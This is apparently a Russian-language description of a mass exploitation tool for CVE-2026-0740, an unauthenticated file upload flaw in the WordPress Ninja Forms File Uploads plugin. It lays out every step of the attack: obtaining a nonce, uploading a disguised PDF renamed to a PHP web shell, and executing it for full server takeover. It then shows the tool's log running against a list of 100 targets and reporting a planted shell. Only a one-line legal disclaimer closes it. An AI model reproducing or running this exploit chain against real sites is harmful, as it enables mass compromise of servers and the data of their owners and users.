
Автоматический массовый эксплоататор для CVE-2026-0740 — неаутентифицированной произвольной загрузки файлов в плагине Ninja Forms File Uploads, позволяющей удалённое выполнение кода через специально сформированные загрузки.
Плагин Ninja Forms - File Uploads для WordPress уязвим к неаутентифицированной произвольной загрузке файлов из-за отсутствия проверки типа файлов и отсутствия проверки прав доступа в функции 'NF_FU_AJAX_Controllers_Uploads::handle_upload' во всех версиях до 3.3.26 включительно.
Эта уязвимость позволяет неаутентифицированным атакующим:
~ Оценка CVSS: 9.8 (Критическая)
~ Затронутые версии: <= 3.3.26
Шаг 1: Получение Nonce
────────────────────────────────────
POST /wp-admin/admin-ajax.php
Данные: action=nf_fu_get_new_nonce&field_id=7&form_id=7
Ответ: {"success":true,"data":{"nonce":"7a850757a1"}}
│
▼
Шаг 2: Загрузка замаскированного файла + Переименование в PHP
──────────────────────────────────────────────
POST /wp-admin/admin-ajax.php
Данные:
- action=nf_fu_upload
- nonce=7a850757a1
- field_id=7
- form_id=7
- [email protected] (разрешённое расширение)
- doc_pdf=shadow.php (цель переименования)
│
▼
Шаг 3: Сервер сохраняет вредоносный файл
─────────────────────────────────────
Расположение: /wp-content/uploads/ninja-forms/tmp/shadow.php
Содержимое: PHP-шелл (загрузчик / веб-шелл)
│
▼
Шаг 4: Выполнение загруженного файла
────────────────────────────────────
GET /wp-content/uploads/ninja-forms/tmp/shadow.php
→ Выполнение веб-шелла
→ Полный захват сервера
- Выводы из полевых экспериментов:
1. Конечная точка `nf_fu_get_new_nonce` возвращает действительный nonce без проверки существования поля
→ Отсутствует проверка параметров `field_id` и `form_id` (ЛЮБОЙ случайный ID работает)
2. Критический логический изъян в функции переименования
→ Плагин принимает имя файла, указанное пользователем, через POST-параметр
→ Отсутствует проверка конечного расширения файла после переименования
3. Загруженный файл попадает напрямую в каталог, доступный через веб
→ /wp-content/uploads/ninja-forms/tmp/
4. Владелец этого инструмента очень красив
˚⊱🪷⊰˚ NINJA FORMS MASS EXPLOITER ˚⊱🪷⊰˚
╰┈➤ Полное отображение ответа
[+] Загружено 100 целей
[1/100]
😈 [FRISKA RESEARCHER] Атака на: https://example.com
[*] Получение nonce...
[*] HTTP-статус: 400
[*] Ответ: 0
[-] HTTP-ошибка: 400
[2/100]
😈 [FRISKA RESEARCHER] Атака на: https://www.test.com
[*] Получение nonce...
[*] HTTP-статус: 200
[*] Ответ: {"success":true,"data":{"nonce":"b0404ec210","nonce_expiry":1775648146}}
[+] Nonce: b0404ec210
[*] Загрузка шелла...
[*] Ответ загрузки: {"data":{"files":[{"name":"doc.pdf","full_path":"doc.pdf","type":"application\/pdf","tmp_name":"shadow.php","error":0,"size":246,"new_tmp_key":"doc_pdf"}]},"errors":[],"debug":[]}
============================================================
🔥 ЗАГРУЗЧИК ШЕЛЛА: https://www.test.com/wp-content/uploads/ninja-forms/tmp/shadow.php
============================================================
Несанкционированное использование систем, которые вам не принадлежат или на тестирование которых у вас нет разрешения, является незаконным.